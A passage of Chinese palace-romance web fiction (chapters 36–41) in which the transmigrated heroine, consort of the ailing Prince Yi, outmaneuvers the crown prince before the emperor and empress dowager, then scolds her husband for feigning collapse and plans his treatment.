沈听晚唇角几不可察地弯起一丝极淡的弧度,眸底寒光如刃,悄然敛入幽深瞳底。 想杀她? 可她的命不是那么容易说杀就能杀的! 直到太子一瘸一拐的进宫,看到跪在地上的沈听晚,眼中迸发出一抹猩红似血的杀意。 他狠狠地瞪了沈听晚一眼,咬牙切齿:“沈听晚,你个贱人,还有脸闹到皇宫里,本太子刚在没杀了你算你命大,现在看谁还能护得了你!” 君宁玄一脚狠狠朝着沈听晚的身上踹过去,沈听晚眸中寒光一闪,快速躲开,撩起裙摆换了一个地方继续跪好。 君宁玄收势不及,一个趔趄,险些扑倒在地,狼狈不堪,脸上青白交加,脸上满是惊怒之色:“你竟然还敢躲开!” 沈听晚却并不理会这个疯子,抬眼眼眶泛红,像是受了惊吓似的看向台上:“太后娘娘,陛下,太子殿下分明就是要杀了臣妇啊!” 沈听晚说话的声音带着一丝颤音儿,像是真的被君宁玄的举动吓破了胆,整个人颤抖的不停,看着君宁玄的眼神也满是惧色与惶恐。 “沈听晚!本太子连脚都没碰到你,你在这装什么!”君宁玄惊愕的瞪着沈听晚,气急败坏,厉声嘶吼道。 “放肆!当着哀家的面,你想对翊王妃做什么?”太后阴沉的脸怒喝道。 君宁玄被吓了一跳,也瞬间老实了,垂下头,不甘的开口:“皇祖母息怒,孙儿知错了。” “哼!”太后冷哼一声。 “看看你今天都干了什么好事! 竟然让翊王妃将状都告到哀家跟前了,甚至还引来了将军府的众怒,太子,你还真是东陵的好太子啊!” 君宁玄猛地抬头,便看到太后充满怒气的脸上带着一丝对自己的失望,心里顿时一慌,立马跪在地上:“皇祖母,孙儿今日确实是要向沈听晚道歉的,可是她出言不逊,说孙儿……”君宁玄到了看色突然间变得比猪肝还要铁青几分。 太后沉声问道:“说你什么?” 君宁玄狠狠剜了沈听晚一眼,终于从齿缝里挤出几个字:“她说……孙儿阴阳两虚,日后必绝嗣断根!” 殿内霎时一寂。 皇帝与太后皆是一怔,旋即皇帝眸光骤冷,如寒潭覆冰,声音低沉而危险:“翊王妃,你当真是这么说的?” 沈听晚缓缓抬首,素净面容上不见丝毫惧色,唯有一片澄澈坦荡:“回陛下,这话是臣妇说的。” “看吧,她自己都承认了!”君宁玄嘴角转扬,半是嘲弄半是挑衅的道。 他眼底闪过一丝狠意,这一次他倒要看看,沈听晚这个贱人如何脱身。 诋毁太子,那可是杀头的罪名,他今天就要弄死沈听晚! 第36章 可有办法治好翊王? “大胆翊王妃,你竟然敢诋毁太子!”皇帝声音陡然升高几分,厉声呵斥道。 “陛下明鉴,”沈听晚不卑不亢,朱唇轻启:“臣妇确实说过太子殿下体虚气弱、肾元亏耗之症,若再纵情无度、不知节制,恐难承宗祧、延绵子嗣,但这话并非臣妇妄言诽谤,更非诅咒,臣妇只是出于医者仁心善意提醒太子。”沈听晚语气轻快的开口,脸上没有一丝惶恐。 她既然说了,那就不怕君宁玄来告状! 皇帝脸色一沉,微坐直了身子,双眼微眯流露出一抹危险之色,狠厉的开口:“翊王妃,你用什么身份来提醒太子!” 沈听晚闻言抬头:“陛下,臣妇是翊王妃,也算是太子的长辈,臣妇自小曾在神医谷小住过两年,有幸被廖神医收为关门弟子,若陛下不信臣妇的话,那可以召见太医为太子诊脉一看,看看臣妇有没有胡说。” 就君宁玄那小脸煞白像个小白脸子似的,还有那张没有一点血色的唇,任谁看了,谁不道一声“肾虚”啊! 沈听晚心里透着讽刺,难怪书中那个国师预言过,君宁玄会绝嗣呢! 只不过,就是不知道那个国师究竟是谁,君宁玄绝嗣也就罢了,好端端的,干什么偏偏把她这副身体原主的小炮灰牵扯进来? 沈听晚心里头这样想着,却突然间被身边君宁玄的声音打断了思绪。 “沈听晚!你少在这儿胡说八道!廖神医能收你为弟子?本太子看你是痴心妄想! 今天无论你说什么,都逃不了诋毁本太子的罪名,本太子……” “你给哀家住口!” 太后冷声呵斥道,君宁玄变立马吓得缩了缩脖子,不敢在多说,只是用一双似乎可以杀人的眼睛恶狠狠地瞪着沈听晚。 平日里,君宁玄最畏惧他皇祖母的,别看太后看上去像是一个慈祥的老人,可是惩罚起他来,也是相当狠辣。 要知道,能当上太后的,可都不是一般的女子,不管是心计还是手段,都能让人望而生寒。 见着君宁玄老实了不少,太后的目光才移目看向沈听晚,脸色紧绷着开口:“翊王妃,你说的可是真的,你当真是廖神医的关门弟子?从前怎么没听人提起过呢?” 如果是这样的话,那可就不妙了,万一她把那个病秧子给治好了,岂不是耽误她的大计? 沈听晚低下头去:“回太后娘娘,臣妇虽为廖神医关门弟子,但在神医谷学医时日不长,并未习得师傅真传,故而不敢班门弄斧。 但太子殿下体虚之症过为明显,臣妇想,太医应该也有所察觉,提醒过太子殿下,但太子好像并没有放在心上。” 她顿了顿,语气愈发温婉而忧切 :“臣妇也是见着太子过于体虚,若不加以节制,恐后果不堪设想,所以好心提醒太子,没想到竟引来太子记恨,是臣妇多管闲事了。” “那你,可有法子为太子调理身体?”皇帝目光灼灼,急切追问,指尖无意识叩击龙椅扶手,心中想着,沈听晚若真是神医弟子,就算学医时日不长,也能多少东些精髓,若她真有几分本事,能治好太子的隐疾,那便可暂息太后频频施压的废储之事了。 “太子的……病,倒也不难医治,但是需要太子无条件配合臣妇,短则三年,长则十几年不可再行床事,方能有机会痊愈。但是……”沈听晚欲言又止,抬眼瞟了君宁玄一下:“估计太子不会积极配合医治。” 君宁玄听见这话,脸色又阴沉下去几分:“沈听晚,我看你就是故意要羞辱本太子! 你记着,本太子就算是绝嗣,也绝不让你医治!” 这话,沈听晚却毫不在意,嘴角依旧漾着笑意,她不着急,总有一天,君宁玄会上门跪着来求她的。 “陛下也看到了,太子他说就算是绝嗣也不让臣妇为其医治。” 皇帝胸膛剧烈起伏,怒目圆睁,目光如刀剐向君宁玄 :“还没说你呢,翊王妃好心提醒,你却在朕和太后面前倒打一耙,冤枉翊王妃! 还敢诅咒自己的皇叔,你平日里读的那些圣贤书都读到狗肚子里去了吗!还是说,你是嫌着太子之位做的太稳了?” 君宁玄猛地抬起头,不敢置信地看向皇帝,心下更为慌乱起来。 父皇,这是也动了废储之念了吗? “儿臣知错,请父皇息怒!” 君宁玄扑通一下跪在地上,此时也顾不得膝盖上的疼痛,脸上满是慌乱与焦急。 太后看了一眼皇帝,眉头不经意间挑了挑,嘴角勾起一抹不易察觉的弧度,看向沈听晚的眼神也顺眼了些。 经沈听晚这么一闹,皇帝也对君宁玄有了失望,这倒也不算是一件坏事。 抬眼看向沈听晚,语气慈祥的开口:“翊王妃怎么还跪着,快起来,本就不是你的错,该跪的应该是那个孽障。”说着,太后的眼神还不经意间扫了君宁玄一眼。 “多谢太后娘娘。” 沈听晚缓缓起身,心里暗松了口气,可算是能活动活动筋骨了,再跪下去,沈听晚都担心自己老寒腿了。 “翊王妃,你受苦了,太子对你处处羞辱,哀家今日断不会轻饶了他。”太后保证这开口,不过话锋又忽而一转,语气温和却不容回避:“翊王妃既已给了翊王,又是神医传人,可曾为翊王细细诊过?他……是否有机会可以好起来?” 那言语间的试探,眼底一闪而过的狐疑,沈听晚尽收眼底。 她垂眸掩去眸中清亮,声音微哽:“回太后娘娘……臣妇才疏学浅,未能参透翊王殿下经脉闭塞、脏腑枯槁之症,而且……殿下如今心如死灰,连太医精心配制的续命汤药,都拒不肯饮。太后明鉴,若病人执意不肯喝药,这病又怎么可能会好呢。” 说到这里,沈听晚悄然垂首,强行眨了眨眼,逼着自己两滴晶莹剔透的泪珠,顺着白皙的脸颊无声滑落下来。 第37章 翊王吐血晕厥了! 听见沈听晚的话,太后和皇帝都不禁松了口气,好在沈听晚医术不精,不然若她真把那个瘫子治好了,那他们从前做的那些岂不是全都白费了? “你是翊王妃,尽心照顾着就是了,放心,哀家以后不会亏待了你的。”太后端坐于凤座之上,指尖漫不经心地捻着一串沉香佛珠,语调轻缓而又疏离,漫不经心的开口安慰了两句。 沈听晚垂眸敛目,声音温婉恭顺:“是,侍奉王爷乃臣妇分内之责,定当竭尽心力,不敢懈怠。” 嘴上这样说着,心里却满是讽刺。 不得不说,这太后才是画饼第一人呢。 太后随意的点了点头,转眼看看向皇帝:“陛下,此事你看着处置吧。” 她是累了,没那个精力神去管君宁玄的这些破事。 皇帝长叹一声,眉峰深蹙,眼底浮起一层疲惫:“翊王妃,依你之见,太子当如何处置?” 沈听晚转眼看向君宁玄,被泪水洗涤过的双眼更为明亮,这般近的距离,沈听晚的那张惊艳的脸颊,毫不保留的展示在君宁玄的面前。 被沈听晚这样看着,君宁玄感觉自己的心上莫名加快不少,心中有一股莫名的烦躁,恼火的别开眼,不满的控诉着:“父皇,此事并非儿臣一人之过,她有什么资格处置儿臣?” 这个死女人,从前他怎么没发现,沈听晚那双眼睛竟然还能摄人心魂呢! “陛下!太后娘娘!不好了,翊王殿下吐血晕厥了!” 君宁玄的话音刚落,门外传开赵启林的声音,如同一道惊雷劈落。 众人脸色皆变,沈听晚的心里更为震惊。 君翊晕倒了?还吐血?这究竟什么情况? 皇帝下意识看了沈听晚一眼,立马沉声开口:“进来!” 赵启林快步进门,随即重重跪在地上:“陛下,翊王殿下不好了……” “究竟怎么回事?!”皇帝声如寒铁,“翊王怎会无缘无故的吐血晕厥?!” 赵启林哽咽一声,惨白面容上泪痕纵横,指尖颤抖着似是抹去颊边湿意:“回陛下……殿下是听闻太子殿下在将军府当众羞辱王妃,甚至……诅咒翊王命不久矣,一时悲愤交加、怒极攻心,当场吐血,便……便昏死过去……” 皇帝脸色阴沉的吓人:“翊王他现在如何了?” “王府传来消息,殿下晕倒之前说……说除了王府中人,不准任何人进门,一切事宜听从翊王妃做主。 另外,翊王派人来传话,说太子……太子大逆不道,希望陛下严惩。” 听见赵启林的话,皇帝的眼神意味深长的看向沈听晚:“朕的弟弟看样子很重视王妃啊。 一年多了,翊王从未开口说过话,想不到今天,他竟然会为了王妃向朕请旨严惩太子。” 沈听晚暗暗翻了个好大的白眼。 她没来之前,君翊都快被毒死了,哪还能开口说话? 她膝行向前,仰起一张梨花带雨,我见犹怜的脸颊,声音哽咽却字字清晰:“太子殿下如何折辱臣妇,臣妇甘愿忍辱吞声,可他诅咒皇叔,蔑视宗法……求陛下,太后娘娘明察秋毫,严惩太子。” 皇帝眸中戾气迸发,沉默片刻后,猛然拍案而起:“太子失德,悖逆人伦,罪无可恕!即日起禁足东宫三月,每日抄写《金刚经》十遍,为翊王祈福消灾,直至翊王苏醒为止!” “咚!”一声沉闷叩响,沈听晚额头重重磕在地上:“臣妇……代翊王谢陛下大恩!” “好了,翊王昏迷不醒,还得需要翊王妃回去主持大局,传朕旨意,让赵太医随王妃一同回王府,为翊王医治。” “谢过陛下,臣妇告退。” 沈听晚匆匆行了礼后,便急着往外走去。 她现在满脑子想的都是君翊究竟怎么了? 她已经给君翊解了毒,按道理来讲,不应该吐血昏迷过去的。 难道是余毒未清? 沈听晚脸色愈显凝重,脚下步伐愈发急促,踏出宫门时,裙裾卷起一阵凛冽疾风。 直到出宫后看到暗祁的身影站在马车旁边,沈听晚快步走上前去,眉宇间满是焦急与担忧之色:“翊王他现在怎么样了?” …… 皇宫里。 沈听晚走之后,君翊一直跪在殿内,气氛过分安静的可怕。 “太子——你可知罪!”皇帝霍然起身,龙袍翻涌如墨云压境,目光如刀,直刺君宁玄脊背。 太后斜倚凤座,指尖佛珠停驻,再未向君宁玄投去一瞥,只将视线冷冷移向殿外。 她唇角微抿,眼底掠过一丝深不见底的失望与厌弃。 果然是不堪重用,这才几日?便惹下着诸多祸事,若这东陵的江山若是真交到了太子的手上,岂不是要不了几年就要亡国了? 君宁玄将头紧紧低下:“是……儿臣知错。” “朕今日罚你,你可有怨言?” “父皇责罚儿臣,儿臣毫无怨言,只是沈听晚她当众羞辱儿臣,这事儿难道就这么过去了吗? 她说儿臣绝嗣,就是诅咒皇室啊,父皇为何只罚儿臣,却对她的僭越之言只字不提?!” 他心中翻江倒海,此事岂是他一人之过?可父皇的惩戒,也未免太重了些吧! 他堂堂储君,竟因一个女人被禁足抄经,颜面尽失,从前何曾受过这般苛责。 “哼!”太后冷笑一声,朱唇轻启,字字如冰质问:“你还好意思攀扯翊王妃?若不是你巴巴儿的跑去将军府招惹是非,哪里来的这么多祸事!你那母后更为愚蠢至极,好端端的让你去道什么歉?”她眸光一转,转头看向皇帝,“太子过于放纵,想来是宫中缺少一个品行端正与太子年纪相当的伴读在旁劝阻,哀家先前提出的让衡亲王幼子进宫为太子伴读,陛下考虑的如何?” 衡亲王幼子君宁宇,是九子夺嫡初衡亲王妃所出,如今衡亲王死于夺嫡之争,王府中只有衡秦王妃一人勉强支撑着。 没了衡亲王这个父王在,君宁宇就是个无依无靠的落魄宗亲,这样的人即便过继到皇室之中也不会有什么隐患。 第38章 谁让你擅用内力的?! 反而会因为皇帝的看中,而格外小心谨慎,假以时日,若是太子被磨砺出来最好,若依旧是朽木难雕,不堪造就,那正好让君宁宇继承皇位,倒也顺理成章名正言顺了。 “皇祖母……”君宁玄心头高悬的巨石轰然坠地,脸色霎时灰白如纸,他怎么也没有料到太后竟然会突然间提出给他找什么伴读。 什么伴读?依他看就是太后想着要将人先塞进皇宫里,然后找机会,取代他在父皇心里的地位罢了! “怎么,你有何异议?”太后冷冷的斜了君宁玄一眼。 君宁玄慌忙垂首,脊背微弓,声音有些发紧:“孙儿不敢妄议……只是,孙儿身边已有两位伴读,若再添一人,恐令夫子分身乏术、过于操劳……” “还好意思提你那两个伴读!”太后冷眼瞪过去:“别以为哀家不知道,你们从前逃课出去饮酒,那两个伴读甚至还带你去花柳巷那种不堪之地,你堂堂太子,若被人知道你整日只知道饮酒做乐,皇室的颜面还能留住几分!”太后的声音骤然拔高几分,气到深处甚至抬手用力拍在桌上,发出一阵巨响。 君宁玄浑身剧颤,面色惨白如灰,额角冷汗涔涔落下。 这些事,皇祖母竟全然知晓?! 可是他出宫去那些地方,明明都极为隐秘,皇祖母是如何知道的呢? 太后唇角微扬,讥诮如刀:“若要人不知,除非己莫为,此前哀家隐忍不发,是念及天家体面,你却屡教不改、变本加厉,一次次挑起事端,实在令哀家寒心失望至极!” 她霍然起身,袍袖翻飞,语气斩钉截铁:“陛下,请即刻决断!依哀家之见,太子身边那两名伴读德行有亏、品性卑劣,非但不能辅佐储君向学明理,即日起,便逐出皇宫吧。” 皇帝此时还能说什么呢,他虽然极力想保全太子,只可惜他这个儿子实在烂泥扶不上墙,本就无能,还再三犯错,他在太后面前,想为君宁玄求情,这话都说不出口了。 他恨铁不成钢地剜了君宁玄一眼,随即闭目深吸一口气,声音低沉而疲惫:“……那就依母后所言办吧,明日朕便下旨,召衡亲王幼子入宫任太子伴读。另太子禁闭期间,世子不必入宫,待三月期满之后,在同太子一起受夫子训教。” 有了皇帝的松口,太后心中是大为满意,脸上也露出一抹和煦的笑意来。 “这就对了,宇世子品行纯良,而且学习刻苦,在太子身边,也能成为表率。” “太子,你要好好向宁世子学习,他比你还小上半年,却比你懂事的多。” 君宁玄垂首僵立,指节攥得泛白,牙关紧咬,几乎渗出血腥气,才从齿缝中挤出一句:“是……孙儿定当……好生‘讨教’宇世子!” 讨教?呵! 等那个不知天高地厚的家伙踏进东宫,他倒要亲手教一教他什么叫君臣纲常,什么叫人臣之道! 区区一个王府世子,竟敢觊觎本不属于他的东西?简直是不知死活! 君宁玄心里是如何想的,太后不得而知,只是满心都沉浸高兴之中,脸上的笑意只增不减。 心里更为惆怅,抬眼看向窗外,她既然没能保住衡秦王的命,那把他的儿子扶上皇位,也算是赎罪了吧。 翊王府。 沈听晚一出宫便坐上马车,叫车夫以最快的速度回了王府,就连跟在后头的赵太医,骑着马都没能追上。 一到王府门口,沈听晚撩起帘子便大步朝着王府里跑去,一路赶到后院,推门而入的刹那,她气息凌乱、鬓发微散,却一眼撞见君翊斜倚床榻,双眸清亮如寒星,正静静凝望着她。 沈听晚大口喘着气,脚步走到床边,见着君翊的精神头,哪里像吐血昏迷似的虚弱,这才后知后觉的发现,君翊是装的。 沈听晚胸口剧烈起伏,汗水浸透鬓角,抬手抹去额上细密水珠,喘息稍定,才哑声开口:“你……没事?” 君翊目光微顿,视线落在她被汗水濡湿的额发、潮红的脸颊、写满焦灼的眼底。 小姑娘这是在担心自己? “本王没事。” 沈听晚松了口气,一屁股坐在床上,因着路上太过紧张,这一路几乎是跑着进门的,汗水打湿了沈听晚的前襟后背,让沈听晚有些忍受不了。 “吓死我了,我在皇宫里听说你吐血了,还昏过去了,我以为你体内还有我没发现的病灶呢!”沈听晚略带埋怨的开口:“暗祁一直在皇宫门口守着,他也不知道发生了什么,害得我白担心这一路!” 君翊没有开口,就是,就那么直勾勾的盯着沈听晚。 “你现在感觉怎么样?”沈听晚转头看过来,一脸严肃:“按道理说,你不可能无缘无故吐血的,我给你诊一下。” 指尖触上他微凉的手腕,沈听晚瞳孔骤然一缩,面色瞬间剧变,她猛地抬眸,眼尾泛起一层薄薄的绯红,声音陡然拔高,带着难以抑制的震怒:“谁让你贸然使用内力的,你是不要命了吗?” 脉象如乱麻缠绕、浮沉无序、虚实交杂——分明是强行运功、逆冲经络所致! 依照君翊现在的情况,贸然使用内力,那可是最要命的,这家伙到底懂不懂得爱护自己的身体啊! 沈听晚看了一眼床边的鲜血,俊美的眉头不禁一蹙,染上一抹凝重之色。 沈听晚一颗心悬在喉口,几乎要破膛而出,强压着脱口而出的粗粝咒骂,只深吸一口气:“告诉我,现在可有胸闷、气短、眩晕、刺痛?一丝一毫都不能有所隐瞒!” 君翊轻轻摇头,目光却始终未离她汗湿的额角与急促起伏的胸口,嗓音低缓:“本王无碍……你先去换身干爽衣裳,把汗擦净。” 沈听晚这才反应过来,她低头看了看浑身的黏腻,又抬眼望着君翊:“你现在到底感觉如何?” “去换衣,擦汗。”他再次重复,语调温和,却带着不容置喙的坚持。 第39章 何人给殿下解的毒? 现在虽说不是冬天,但秋季的寒也不能忽视,沈听晚这样浑身是汗,等下出去不怕受风寒吗? 沈听晚无奈,心里又气又急,不过只道是君翊嫌弃她浑身大汗发出的味道难闻,只好去将衣服换了下来。 “王妃娘娘,赵太医到了,说是奉陛下旨意为王爷诊脉的。”沈听晚简单的擦了擦脖颈的汗水,刚换好衣服,这时门外便传来暗祁的声音 听见门外传来的声响,沈听晚面容一紧:“知道了,让太医稍等片刻,我给王爷换身干净衣服!” 话音未落,她已步履如风地掠至床边,俯身直视君翊,眸光清冽而严肃:“方才忘了告知你,皇上知道你昏迷的消息,特遣赵太医前来给你诊治,我现在要为你施针导引,暂抑真气、凝滞脉象,伪造中毒未解的假象。” “不必。”君翊嗓音低沉,淡淡开口。 沈听晚蹙眉,眼底闪过一丝狐疑:“这个赵太医可信吗?” “嗯,他从前是本王推举他入的太医院,此事很少有人知道。” “哦。”沈听晚点了点头,不再多说什么,看到君翊额头沁出的汗迹,就气不打一处来:“那我叫他进来。” 说着,她便不再理会君翊,大步走到门口将门打开。 沈听晚冷着一张脸看向门外,见着暗祁身边站着一个中年男子,淡淡开口:“有劳赵太医了。” 赵太医上前躬了躬身:“王妃娘娘客气了。” 话音未落,他已快步越过沈听晚身侧,大步朝着房间里走去,脚步匆忙略显凌乱。 一进门来,便见到翊王那张惨白的面庞,脸上瞬间变得严肃起开,也不再拘于礼节,提着药箱子便来到床边给君翊诊脉。 赵太医诊着脉象,脸色也从焦急转为难看,又变得不敢置信。 “是何人为殿下解的毒?” 赵太医转头看向房间里的众人,语气间满是震惊与错愕。 暗祁蹙眉:“赵太医你也知道殿下中毒了?” 所以,就只有他和暗蒙一直都以为他们王爷是因为在战场上负了伤才会变得如此的? “是。”赵太医垂下眼去,在沈听晚的面前却并没有说谎:“我知道殿下中毒,但是那毒我却解不了,一直以来,只能用药控制殿下体内的毒素蔓延。” “你们快告诉我,究竟是何人给王爷解的毒啊!”赵太医又一脸焦急的开口问道。 沈听晚倚着朱漆门框而立,双臂交叠于胸前,她唇角微扬,笑意未达眼底,只淡声道:“是我。” 既然君翊都说了,这赵太医可信,那就没什么可隐瞒的了。 “王妃娘娘?”听着沈听晚的声音响起,赵太医脸上先是升起一抹错愕之色,随即又是质疑:“王妃娘娘通晓岐黄之术?” 他实在难以相信,眼前这位年纪尚轻、眉目如画的王妃,竟能解破这种极为罕见的奇毒。 沈听晚听出了赵太医语气间的轻视,却并未在意,也没有回答,反而又问道。 “赵太医既然早知道王爷中毒,为何事先不向王爷提起?”沈听晚的语气寒凉,带着一丝质疑。 “微臣在知道王爷中毒之后,就第一时间告诉王爷了!”赵太医的语气瞬间拔高八度:“微臣蒙王爷一手提携,恩同再造,岂敢欺瞒,又如何会做有损王爷贵体之事!” 沈听晚蹙眉,目光看向君翊,似乎是在询问。 “是,赵太医的确一早便告诉了本王。”半晌,君翊淡淡开口回应道。 这也是为什么,一开始他本不愿理会沈听晚,可当听到沈听晚说他中毒之后,突然间改变主意,选择相信沈听晚的原因。 沈听晚板着一张脸,抿唇不语,只将视线悄然收回,垂眸凝视自己指尖,眼底闪过一丝倦意与隐忍。 “王妃娘娘!”赵太医再度急切追问,声音恳求地道“求您明示,殿下体内之毒,当真是王妃解的?” “赵太医觉得不是我,还能会是谁?”沈听晚眼底冰冷的看过去:“换句话说,除了我以外,你还知道有何人可以为王爷解毒?” “当真是您?!”赵太医呼吸一凝,眼中惊涛翻涌。 沈听晚眸光一冷,唇角微撇,似笑非笑抬手指向床上的男人:“你若不相信,大可以问床上的那位,他若说不是,那我现在就就走。” 沈听晚现在心里还气着,气君翊这家伙压根不在乎自己的身体,所以在赵太医的面前,也没有半点好脸色。 君翊见着沈听晚一张冷漠的小脸,心下暗暗叹了口气,看样子,小姑娘这是真的生他的气了。 又只好耐心的解释道。 “赵太医,本王体内的毒是王妃所解。” 听到了自己想要的答案,赵太医双目骤然一亮,这才彻底相信了沈听晚的话,满眼激动之色溢于言表,他不顾身份尊卑,大步上前,直直立于沈听晚面前,目光灼灼如炬,几乎要将她整个人看穿。 “你要干什么?”对于赵太医的那道炽热的目光,看的沈听晚有些浑身不自在,俊美的柳叶眉也不禁拧了起来,满眼尽是防备地瞪着眼前之人。 然而下一瞬,沈听晚眼前的赵太医竟然突然间扑通一下跪在了她的面前。 沈听晚眼底闪过一丝愕然,下意识退后一步:“你这是做什么?” “求王妃娘娘……救救殿下!”赵太医老泪纵横,声音哽咽而嘶哑,满眼尽是祈求之色:“微臣虽忝列太医之职,却对殿下之症束手无策!方才情急失仪,万望王妃恕罪,万万不可因此迁怒于王爷啊!” “我倒没那么小气。”沈听晚轻嗤一声,指尖无意识捻了捻袖缘,“王爷的病我自会医治,只不过赵太医,你回宫面圣的时候要如何说,应该清楚吧?” 赵太医面容一喜,连连点头:“微臣明白,王爷一时气火攻心,以至内力紊乱,微臣暂时已将王爷病情稳定住了。” “嗯。”沈听晚满意的点点头:“行了,你们都出去,我又话要单独和王爷说。” 第40章 是应该立规矩了 一开始,沈听晚以为君翊是个听话的病人,为此她还好一阵的欣慰。 今天看来,她确实有必要给君翊这家伙好好立立规矩了! 房间里一众人全部退了出去,屋内只剩下沈听晚和君翊两人。 空气骤然间变得安静的有些诡异。 沈听晚靠在墙边,一双冷模的眸一瞬不瞬的看着床上的男人。 男人剑眉星目,鼻梁高耸,薄厚适中的唇以及那张如同刀削般立体分明的轮廓,看上去高冷而又俊美。 若是放在现代,妥妥就是一个在演艺圈里服兵役的冷峻男,浑身散发着一种叫人无法忽视的矜贵之气。 沈听晚见了,都忍不住软下心来。 她别开眼去,强迫着自己冷下脸,娇声质问:“王爷究竟有没有把我们的交易放在心上? 我是不是说过,在治疗期间,一切都得听我的? 你这样不配合,究竟还需不需要我为你医治了?” “需要。”面对沈听晚一连问出的三个问题,君翊直接斩钉截铁地回道。 他抬眸凝视着沈听晚白净细腻的脸颊,看到她满眼尽是火光的美眸,嘴角不禁渐渐勾起一抹笑意,嗓音清冽地开口:“本王并非意气用事,若不如此,皇帝不会严惩太子。” 嗓音偏冷,褪去先前的暗哑,声音低沉浑厚,充满勾人心魂的磁性。 沈听晚有些愕然,有些不可置信的瞪向君翊:“所以,为了让皇帝严惩太子,你就可以这样作践自己的身子,为什么?” 沈听晚一直抑制着心中的怒火,却在这一刻仿佛彻底崩塌。 君翊微微收敛嘴角的笑意,垂下眼去,极力掩饰住眼底的杀意与冷光,淡淡道:“因为他当众羞辱挑衅与你。” 君翊不在乎君宁玄说他是什么瘫子,废物,但是听到君宁玄羞辱沈听晚,心里就忍不住有一种想要为沈听晚出气的冲动。 听见君翊是话,沈听晚的神色突然间顿住一瞬:“你是……因为我?” 君翊收回视线:“你目前是本王的王妃,他羞辱与你,就是在羞辱本王。” 沈听晚松了口气,她就说嘛,自己刚成为翊王妃,他怎么可能会不要命的这么护着自己呢。 “那你知不知道,昨日整整三个时辰的医治,因你一时冲动,全都白费了? 你的旧伤本就盘根错节,经脉寸断如蛛网,我虽说有把握治好你,但也需要拼尽全力,可你却……你却拿自己的命来赌这一场!” 君翊惊诧的看过去,冷淡的面庞神色略带着一丝凝重。 半晌,君翊才微微启动薄唇:“抱歉……” “跟我说抱歉有什么用?昨天受得罪你还得重新遭一遍!” 而且,这样也会间接延长治疗的时间! 哎…… 她与君翊和离之期,看来又遥遥无期了。 她冷冷一瞪,转身拂袖,裙裾划出一道利落的弧线:“今日针灸暂停,我去为你备些温补膳食,王爷好生歇着吧。” 门扉“咔哒”轻响,人已杳然无踪。 此时,君翊躺在床上,俊美的眉头不禁微微皱了皱,一颗心莫宁有些缩紧。 他说抱歉不是因为别的。 而是他不知道自己使用内力却导致昨天沈听晚一天的辛苦全都白费了,这让他心里有些过意不去。 一下午,沈听晚都没有在踏进过房门,她弄好了给君翊的晚膳,直接吩咐暗祁端进去给君翊。 “王妃呢?”君翊被暗祁扶起身来,目光却下意识看向门口,却没见到沈听晚的影子,不禁开口。 “哦,王妃娘娘在隔壁偏房,她让属下在偏房放置一张桌子,说是要当书房来用。” “嗯。”君翊淡淡回应,垂眸闪过一丝失望,又继续吃着暗祁递过来的饭菜。 但却不知道为什么,总感觉暗祁手上的饭菜突然间就不香了。 “王爷,陛下惩治太子罚他紧闭三个月,另外,每天罚抄十遍经文为王爷祈福。”暗祁一边将碗里的饭菜为道君翊嘴边,一边气愤地开口:“要属下说,还是罚的太轻了,王爷您都不知道,当时太子有多嚣张,那架势像是恨不得要杀了王妃。” “他是太子,那也不能这么为所欲为吧,还诅咒王爷您,属下要不是顾及身份,真想把他舌头割下来!” 君翊拧了拧眉,嘴角微寒:“确实罚的太轻。” 心里升起一抹寒,看样子,君宁玄这太子之位是坐够了! 沈听晚本就是目前京城之中最惹人注目的人物,与太子大婚之夜转嫁翊王,虽然是太子过错,但外界人却不知道,因为皇室绝不会允许太子身上留有污点。 所以外界现在对沈听晚的猜疑不断,这个时候,太子直接登门,更会给沈听晚带来很多麻烦。 沈听晚身为翊王妃,与王府也是一荣俱荣一损俱损,君宁玄此举,不止羞辱沈听晚,更是公然践踏翊王府的威仪。 君翊面露沉思,眼底闪过一丝阴郁的光:“衡亲王世子是不是快要入宫了?” “是,王爷,您猜得真准,太子接连犯错,太后当即就向陛下提出,让衡亲王世子进宫做太子伴读,想来三个月之后就该进宫了。” 暗祁想了想,又忍不住开口:“王爷,需不需要属下做点什么?” 太子太过嚣张了,如今有了衡亲王世子制衡,或许他们可以帮君宁宇一把,也可以给太子一点教训,掂量一下他那太子之位也并非坐的稳当。 君翊沉声道:“把我们查到的消息放给他就好,他知道该怎么做。 另外君宁宇也并非善类,不必与之亲近,咱们就置身事外,不要让君宁宇知道那些消息是从王府出的。” 亲王世子,父王惨死在九子夺嫡之中,家里只有母妃相依为命,在这种情况下长大的孩子,心里头都是藏着恨的。 他会恨皇室所有人,当然最恨的想必就是皇位上坐的那位了。 皇帝或许也猜到了这一点,所以哪怕太子行事荒唐,也迟迟没有下这个决定,只不过这一次,是太子错的太过离谱,再加上太后施压,不得不答应罢了。 第41章 床挺大的,你影响不了本王什么 君翊的眸光微微闪了闪,不知道君宁宇成了太子伴读之后,究竟要掀起怎么样一阵风波呢。 …… 待君翊用罢晚膳,沈听晚才阴沉着脸,缓步踏入屋内。 君翊转头望向她,深邃的眼眸中闪过一丝不易察觉的暗光,唇角微不可察地勾起。 沈听晚走进,只见她手上拿着一沓厚厚的纸在君翊的眼前晃了晃:“这是我准备好的治疗方案,等下让暗祁读给你听,你要是没意见就按照这上面的方案施行。” “不必读了,本王说信你,如何治疗都听你的便是。” 君翊闻言,抬眸便看到纸张上的娟秀小字,声音低沉而坚定地道。 沈听晚的眉头不自觉地轻挑了挑,脸上阴郁的神色缓和了几分。 心中暗想:若这家伙能一直这么听话,该有多好啊! “暗祁。”沈听晚转头突然间看向在一旁悄悄看热闹的暗祁。 暗祁一愣,忙不迭应道:“属下在。” 她素手一指屋内临窗那方洁净空地,语调平静却带着不容置疑的威严:“去寻人,在此处安置一张软榻。” 君翊:“……” 暗祁:“???” “王妃,”暗祁小心翼翼地开口:“是您和殿下一张床睡着不舒服吗?这张床很大的,能睡得下您和王爷。” 沈听晚摇了摇头,发丝轻轻晃动:“不是不够大,是我怕打扰到殿下休息。” 君翊眸光微敛,喉结轻动,声音低缓却透着一丝不易察觉的紧绷:“明日再置吧,今夜已深,不知又要折腾到几时。” 沈听晚侧眸睨他一眼,眼尾微扬,带着几分玩味的笑意:“殿下倒不怕我扰你?” 君翊唇角微扬,笑意浅淡却意味深长:“扰也扰了三日,还差这一夜么?” 暗祁心头一亮,霎时恍然,忙不迭接话:“哎哟!属下真是糊涂了,府中暂无现成软榻!不过王妃放心,属下明日一早就去叫府上最好的木匠,尽快赶制出一张精巧妥帖的软榻!” 说着,他余光悄悄扫向自家王爷,果然见君翊眸底掠过一抹极淡却极为满意的微光,心下偷笑。 他就知道,自家王爷肯定不希望和王妃分床睡。 